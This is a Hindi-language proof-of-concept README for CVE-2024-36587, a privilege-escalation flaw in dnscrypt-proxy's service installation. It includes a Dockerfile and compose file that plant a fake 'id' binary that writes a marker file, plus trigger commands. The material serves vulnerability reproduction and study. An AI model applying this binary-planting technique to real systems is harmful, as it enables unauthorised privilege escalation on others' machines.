CVE-2024-36587 - dnscrypt-proxy स्थानीय विशेषाधिकार वृद्धि

अवलोकन

• भेद्यता विवरण: dnscrypt-proxy सेवा स्थापित करते समय वर्तमान निर्देशिका के निष्पादन योग्य फ़ाइल पर भरोसा करके पंजीकरण करने की समस्या के कारण, दुर्भावनापूर्ण बाइनरी डालकर विशेषाधिकार वृद्धि संभव है।
• कमजोर संस्करण: dnscrypt-proxy v2.0.0-alpha9 से v2.1.5
• PoC विधि: बाइनरी प्लांटिंग (binary planting)

वातावरण सेटअप

docker compose up --build

बिल्ड और निष्पादन पूरा होने पर कंटेनर बनाया जाता है।

कंटेनर के अंदर प्रवेश करें:

docker run -it --privileged dnscrypt-poc-poc bash

भेद्यता ट्रिगर

कंटेनर के अंदर:

/tmp/id
cat /tmp/poc_was_here

यदि Pwned_from_Docker आउटपुट होता है, तो PoC सफल।

कॉन्फ़िगरेशन फ़ाइलें

Dockerfile

FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    git \
    golang-go \
    sudo

WORKDIR /workspace

RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
    cd dnscrypt-proxy && \
    git checkout tags/2.1.0 && \
    go build -o proxy ./dnscrypt-proxy

RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
    chmod +x /tmp/id && \
    ln -sf /tmp/id /usr/local/bin/id

CMD ["./dnscrypt-proxy/proxy", "-service", "install"]

docker-compose.yaml

version: "3.8"

services:
  poc:
    build: .
    container_name: dnscrypt-poc
    privileged: true
    tty: true

संदर्भ

• https://github.com/DNSCrypt/dnscrypt-proxy
• https://nvd.nist.gov/vuln/detail/CVE-2024-36587

अभ्यास परिणाम स्क्रीनशॉट

विस्तृत रिपोर्ट

अधिक विस्तृत विश्लेषण और अभ्यास परिणामों के लिए निम्नलिखित PDF दस्तावेज़ देखें:

PoC_Report_CVE-2024-36587.pdf